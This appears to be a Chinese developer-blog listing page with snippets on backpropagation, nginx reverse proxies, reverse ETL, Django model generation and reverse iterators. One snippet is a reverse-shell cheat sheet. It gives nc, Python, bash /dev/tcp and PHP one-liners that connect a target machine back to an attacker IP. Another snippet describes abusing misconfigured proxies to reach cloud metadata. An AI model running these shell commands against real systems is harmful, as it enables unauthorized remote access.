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CS231n：4 反向传播
我们之所以需要解决这一问题，是因为在特定情况下，神经网络的损失函数就是需要求导的函数 ，而训练集的数据和神经网络的权重就是输入 。 假设加法门后还有一些运算，并且输出最终结果为-12，现在进行反向传播，从最终结果开始反向计算最终输出关于每个节点输入的偏导数，当计算到加法门时，假设上游梯度为-4，表示最终结果关于加法门的输出的梯度为- 我们继续进行反向传播，将上游梯度和局部梯度相乘，得到最终结果关于加法门的输入的梯度，由于局部梯度为1，所以得到的结果仍然为-4，这说明，如果x,y的值减小，那么最终结果的数值将会增加，且影响力为4。 由此可见，反向传播可以看成门之间的通信，其通信媒介就是梯度，通信内容就是门的输出对最终结果的影响（正相关还是负相关，以及影响的力度）。 4. 这就是为什么需要进行归一化的原因，如果输入数据量级差异太大，就会导致梯度相差很大。
69620编辑于 2022-08-08 - 来自专栏∑小熊猫的博客
Nginx系列(4) —— 反向代理的配置
Nginx 配置 —— 反向代理 反向代理相关概念 与反向代理所对应的是正向代理。正向代理中最为常见的例子就是vpn。 反向代理与正向代理的差异其实就是，当我们想要访问一个网站时，被访问的服务器的ip不会直接暴露在我们面前，而是反向代理服务器的ip地址。 反向代理 反向代理的配置示例1： 在这里，我们需要在准备一个 tomcat 服务器，tomcat 服务器的地址为 127.0.0.1:8080。 2： 在现实配置中，Nginx 不可能只反向代理一个 Tomcat 服务器，而是一个服务器集群。 使用 nginx 反向代理，根据访问的路径跳转到不同端口的服务中nginx 监听端口为 9001， 最终实现是： 访问 http://127.0.0.1:9001/edu/ 直接跳转到 127.0.0.1
1.8K10发布于 2020-11-25 - 来自专栏音视频技术学习笔记
机器学习作业4-反向传播
反向传播这一小段看了好几遍才理解一部分。 原理并不复杂，吴恩达在视频教程里为了降低难度，简化反向传播的原理，没有过多讲偏导的概念，反而增加了理解的难度。 反向传播核心要点 反向传播是一种手段，用来求梯度用的，即求偏导，按照正规方程，对所有参数求偏导比较复杂，计算量偏大 预测结果与观察结果之差( ? ，才得到z的偏导，得到z，就可以按权重反向求出上一层各个神经元参数的偏导了 最后一项的偏导 吴恩达里的反向传播 最后一项的偏导 吴恩达里的反向传播 最后一项的偏差是由前面的层级，一层层往后传递的，每一层的各个激活单元向后传递有拟合权重 参考 量子位：你真的理解反向传播吗？ 面试必备 这篇文章了里，逻辑回归的偏导求错了，自己手推了下，可以参考下面这篇文章 Logistic函数求导 理解反向传播(Backpropagation) 英文论文原文
61910发布于 2021-03-09 - 来自专栏后端技术
Task 4 CNN back-propagation 反向传播算法
全连接层的梯度计算 知乎的如何理解神经网络里面的反向传播算法讲的很好。 4. 池化层 4.1 average-pooling 平均池化的操作可以转化为卷积操作。比如，2 * 2的平均池化可以转化为卷积核为2 * 2，每项为1/4 的卷积操作。 此文同样表达了这一点 Backpropagation in Pooling Layer (Subsamplig layer) in CNN 加入矩阵M有4个元素 a b c d 而且maxpool
1.1K20发布于 2019-05-25 - 来自专栏会呼吸的Coder
数据库反向迁移命令
在实际项目开发中，一般不会创建模型，然后迁移到数据库，因为同一个数据库，可能对应着多个项目，所以此时我们需要懂得如何反向迁移。 Django django的orm模型已经内置了反向迁移命令 python manage.py inspectdb > models.py # >后面是生成的文件路径和名称 flask flask并没有配置相关的反向迁移模块 最后我个人感觉sqlacodegen相对来说还是比较好用的，可通过下方命令安装 pip install sqlacodegen 在命令行执行 sqlacodegen mysql://用户名:密码@ip:端口号/数据库 >models.py 大体跟django的类似，但是多了数据库连接 使用这个包，额外要注意一点，他会报一个错误（ mysqldb查找不到的错误）。 在报错信息中找到相应的工具包，然后将下面的代码粘贴进去就好了 import pymysql pymysql.install_as_MySQLdb(） flask因为引用的外部的工具包进行反向生成的，
2.8K40发布于 2020-02-17 - 来自专栏SimpleAI
【DL笔记4】神经网络，正向传播和反向传播
这里，我们先规定一下记号（Notation）： z是x和w、b线性运算的结果，z=wx+b； a是z的激活值； 下标的1,2,3,4代表该层的第i个神经元（unit）； 上标的[1],[2]等代表当前是第几层 y^代表模型的输出，y才是真实值，也就是标签 另外，有一点经常搞混： 上图中的x1，x2，x3，x4不是代表4个样本！ 而是一个样本的四个特征（4个维度的值）！ 三、反向传播 反向传播说白了根据根据J的公式对W和b求偏导，也就是求梯度。因为我们需要用梯度下降法来对参数进行更新，而更新就需要梯度。 但是，根据求偏导的链式法则我们知道，第l层的参数的梯度，需要通过l+1层的梯度来求得，因此我们求导的过程是“反向”的，这也就是为什么叫“反向传播”。 进行了反向传播之后，我们就可以根据每一层的参数的梯度来更新参数了，更新了之后，重复正向、反向传播的过程，就可以不断训练学习更好的参数了。
1.1K30发布于 2018-10-25 - 来自专栏AiCharm
深度学习相关概念：4.计算图与反向传播
在深度学习分类问题中，反向传播是一个重要的环节，它决定着模型是否能被训练，反向传播相当于一个负反馈，当一件事做完之后，会寻找当前事件做的不好的问题，进行回传，当下次在做的时候，进行优化。 计算图 在了解反向传播之前，我们必须首先明白什么是计算图，当只有构成计算图时，数据才能通过反向传播进行更新。 反向传播 根据上面总结，我们可以把反向传播应用到下面中，以函数f(w,x）为例 回传的梯度乘以它对其的输入的局部梯度，从而得到整个网络的输出对该门单元的每个输入值的梯度 以此类推可计算上一个门单元的输入梯度 颗粒度 在上述的反向传播中，每一次数据运算都要进行一次传播，显得有些冗余。
90310编辑于 2023-05-15 - 来自专栏大数据学习与分享
现代数据技术栈：反向ETL
反向 ETL 是将数据从数据仓库或数据湖移回到操作系统、应用程序或其他数据源的过程。 “反向 ETL”一词可能看起来令人困惑，因为传统的 ETL（提取、转换、加载）涉及从源系统提取数据、出于分析目的对其进行转换，然后将其加载到数据仓库或数据湖中。 传统 ETL 与反向 ETL 传统ETL 反向ETL 提取：从各种操作源系统(如数据库、CRM、ERP等)提取数据。 从已经在数据仓库或数据湖中的数据开始(通常是在清理转换和丰富之后)。 将优化的数据加载到数据仓库或数据湖中，以进行高级分析查询和报告。 与传统的 ETL 不同，在传统 ETL 中，数据从源系统中提取、转换并加载到数据仓库中，而反向 ETL 的运行方式不同。 反向 ETL 的主要目标是利用来自数据仓库的见解来更新或增强这些操作系统。 为什么要反向 ETL？
38410编辑于 2024-04-24 - 来自专栏全栈程序员必看
nginx反向代理数据库端口安全吗(nginx反向代理80端口)
nginx 反向代理数据库端口 使用场景如下： 当数据库在服务器A 并且处于外网无法直接访问时，此时同局域网下只有服务器B提供对外访问，客户能访问b 却无法访问A 的情况下，由于两台服务器处于同局域网 ，并且服务器A 有端口是开放的，可以在服务器B 内进行nginx 反向代理 安装nginx 首先在服务器b内，安装nginx（docker 化的也可以） 如果是docker 的nginx 需要进入 docker proxy_connect_timeout 10s; proxy_timeout 300s; proxy_pass name; } } 如果是docker 记得重启，然后数据库就可以通过访问服务器 b的7932端口，映射到服务器A 的数据库端口了 发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/127564.html原文链接：https://javaforall.cn
1.4K20编辑于 2022-07-25 - 来自专栏李智的专栏
斯坦福CS231n - CNN for Visual Recognition（4）-lecture4反向传播
理解反向传播，对神经网络的调整和优化优很大的帮助。 在神经网络中，对应的是损失函数LL，输入xx包含训练数据和神经网络的权重。 因此，即使能用反向传播计算输入数据xix_i上的梯度，但在实践为了进行参数更新，通常也只计算参数（比如W,bW,b）的梯度。 在反向传播时将递归地使用链式法则，算到加法门（是乘法门的输入）的时候，知道加法门的输出的梯度是−4-4。如果网络想要输出值更高，那么加法门的输出要更小（因为梯度−4-4）。 这个神经元对输入数据做点积运算，然后其激活数据被sigmoid函数挤压到0−10-1之间。 该神经元反向传播的代码实现如下： w = [2,-3,-3] # 假设一些随机数据和权重 x = [-1, -2] # 前向传播 dot = w[0]*x[0] + w[1]*x[1] + w[2]
80310发布于 2018-08-03 - 来自专栏ShowMeAI研究中心
深度学习与CV教程(4) | 神经网络与反向传播
所以df/dx是-4 dfdy = 1.0 * dfdq # dq/dy = 1.所以df/dy是-4 '''一般可以省略df''' 2) 直观理解反向传播 反向传播是一个优美的局部过程。 以我们之前讲到的线性分类器为例，权重和输入进行点积 w^Tx_i ，这说明输入数据的大小对于权重梯度的大小有影响。 具体的，如在计算过程中对所有输入数据样本 x_i 乘以 100，那么权重的梯度将会增大 100 倍，这样就必须降低学习率来弥补。 上面这个例子的反向传播的参考 python 实现代码如下： # 假设一些随机数据和权重 w = [2,-3,-3] x = [-1, -2] # 前向传播，计算输出值 dot = w[0]*x[0] 对于该现象的一种解释观点是：因为图像拥有层次化结构（比如脸是由眼睛等组成，眼睛又是由边缘组成），所以多层处理对于这种数据就有直观意义。
1.1K61编辑于 2022-05-30 - 来自专栏Khan安全团队
滥用反向代理，第 1 部分：元数据
访问元数据服务的另一个可能途径是通过错误配置的反向代理（有些人确实将其归类为 SSRF）。 开放代理类型入门 转发：典型的用例是允许私有网络用户通过一个公共出口点访问互联网。 反向：典型的用例是允许互联网用户通过网关访问某些可访问互联网的服务，并阻止对其他后端系统的访问。 如果配置不正确，反向代理可以允许对代理可以访问的其他主机（包括本地接口上的自身）进行超出意图的访问。 如果代理服务在带有 IMDS 的云系统上运行，则可以访问元数据服务，因为代理请求来自本地主机（反向代理工作的副产品）。 IMDSv1（在此处讨论）缺少任何身份验证/授权。 让我们仔细看看与普通反向代理相比，攻击是如何工作的。 如上所示，由于代理规则不正确（或缺少），客户端可以访问任何主机。这可能导致私有网络访问（对运行代理的 VM 可访问的任何主机）以及元数据服务。
1K10编辑于 2022-01-17 - 来自专栏全栈程序员必看
Django根据数据库反向生成models
mysql 1.创建工程 django-admin.py startproject helloworld 2.创建app python manage.py startapp hello 3.配置app和数据库 ： DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': '数据库名' 'root', 'PASSWORD': 'root', 'HOST': '192.168.1.1', 'PORT': '3306', } } 4. 反向生成 python manage.py inspectdb 将model导入到app的model.py文件里 python manage.py inspectdb > hello/models.py ps:在执行命令的时候遇到了一些问题，在此记录一下 第一次执行数据库相关命令报错： ImportError: No module named MySQLdb 解决办法： pip install PyMySQL
65830发布于 2021-05-19 - 来自专栏张善友的专栏
.NET + SignalR 的反向代理 websockethttp 数据隧道
它的启动参数是： <server>，TutoProxy.Server服务器的地址，例如 http://200.100.10.1:8088 <sendto>，数据目标的 IP，例如 127.0.0.1 -
73210编辑于 2023-05-23 - 来自专栏黯羽轻扬
反向代理为什么叫“反向”代理？
“反向”自然是相对“正向”来说的，那么，首先要知道什么是正向代理？ 正向代理 正向代理是对外的，面向外部资源，用来从网络上获取各种数据： A forward proxy is an Internet-facing proxy used to retrieve data 所以，正向代理更靠近客户端，与客户端的关系更密切（跟服务器关系一般，不熟） 反向代理 反向代理负责把流量根据配置规则重定向到内部服务器，外部请求并不知道内网的存在： A reverse proxy taking 从方向上看，正向代理代表客户端请求资源，反向代理代表服务器提供资源： why reverse proxy named as reverse 四.反向代理有什么作用？ 、学校等 SSL 加速 对于 HTTP 服务，可以通过一层反向代理来实现 SSL 加密，具体见nginx HTTPS 反向代理 负载均衡 反向代理还可以用来实现负载均衡机制，如下图： 根据既定转发规则（
2.3K21发布于 2020-02-17 - 来自专栏鱼皮客栈
反向压力
一个有趣的编程小知识 大家好，我是鱼皮，今天分享一个实用的编程小知识 —— 反向压力。 在介绍反向压力前，我们先聊聊什么是压力？ 什么是压力？ [反向压力] 反向压力的好处 反向压力实际上是 流量控制 的一种解决方案，可以使得调用方和处理方的能力相匹配，从而保护系统的各节点处于持续的正常工作状态。 反向压力的应用 有流量控制的需求，就会有反向压力的身影。 此外，反向压力的思想也很实用，比如 TCP 网络协议的流量和拥塞控制中，实际是由发送方和接收方共同确认数据包滑动窗口的大小，从而控制传输包的速率。 [TCP 协议数据包传输] 因此，反向压力还是很值得学习的！ 至于它如何实现，还是有很大学问的，不同框架的实现方式也不同，大家可以自行了解。
1.9K113发布于 2021-08-30 - 来自专栏云计算运维
反向代理
概念 反向代理是nginx的一个重要功能，在编译安装时会默认编译该模块。在配置文件中主要配置proxy_pass指令。 作用： 与正向代理（正向代理主要是代理客户端的请求）相反，反向代理主要是代理服务器返回的数据，所以它的作用主要有以下两点： 可以防止内部服务器被恶意攻击（内部服务器对客户端不可见）。
96000发布于 2021-08-30 - 来自专栏子云笔记
反向shell
333 > 1.exe发送端：nc -vn 172.18.13.90 333 < 4.1.exe -q 1nc简易聊天A:nc -l -p 888B:nc -vn 172.18.13.90 888nc反向 shell：目标机：nc 172.18.13.90 9999 -e /usr/bin/bash攻击机：nc -lvp 9999python反向shell目标机：python3 -c 'import socket os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'攻击机：nc -lvp 9999bash反向 shell目标机：bash -i >& /dev/tcp/172.18.13.90/9999 0>&1攻击机：nc -lvp 9999php反向shellapt install php7.4目标机：php -r '$sock=fsockopen("172.18.13.90",9999);exec("/usr/bin/sh -i <&3 >&3 2>&3");'攻击机：nc -lvp 9999perl反向
75100编辑于 2022-06-26 - 来自专栏老付的网络博客
es反向索引
传统对比 在传统的DB中，存储的数据都是一种树的结构,es使用的反向索引，简单的对比如下： 传统DB: id name 1 user 2 user1 3 user3 4 user 5 user1 6 user2 ES存储格式: key doc user 1,4 user1 2,5 user2 6 user3 3 分词功能
98610发布于 2020-01-21 - 来自专栏热爱C嘎嘎
反向迭代器
在官方库中，反向迭代器是使用适配器封装的，即用普通的迭代器去作为适配器，然后封装出一个反向迭代器出来。 关于迭代器的解析，在介绍实习list以及迭代器这篇文章中有较详细讲解。 此处重点是反向迭代器的原理和实现。list---迭代器的原理和实现 开始实现反向迭代器 首先是类模板，Iterator代表的是适配器，Ref和Ptr代表的是引用和取地址。 比如上图：rbegin()在头节点上，减一步，就到了节点的值为4的节点上，然后一值遍历的话，最终会在遍历完1的节点后结束。 Ref operator*() { Iterator tmp = _it; return *(--tmp); } 对于operator->()，返回的是数据的地址，我们可以使用operator *()拿到数据，然后取地址即可。
98920编辑于 2023-03-30
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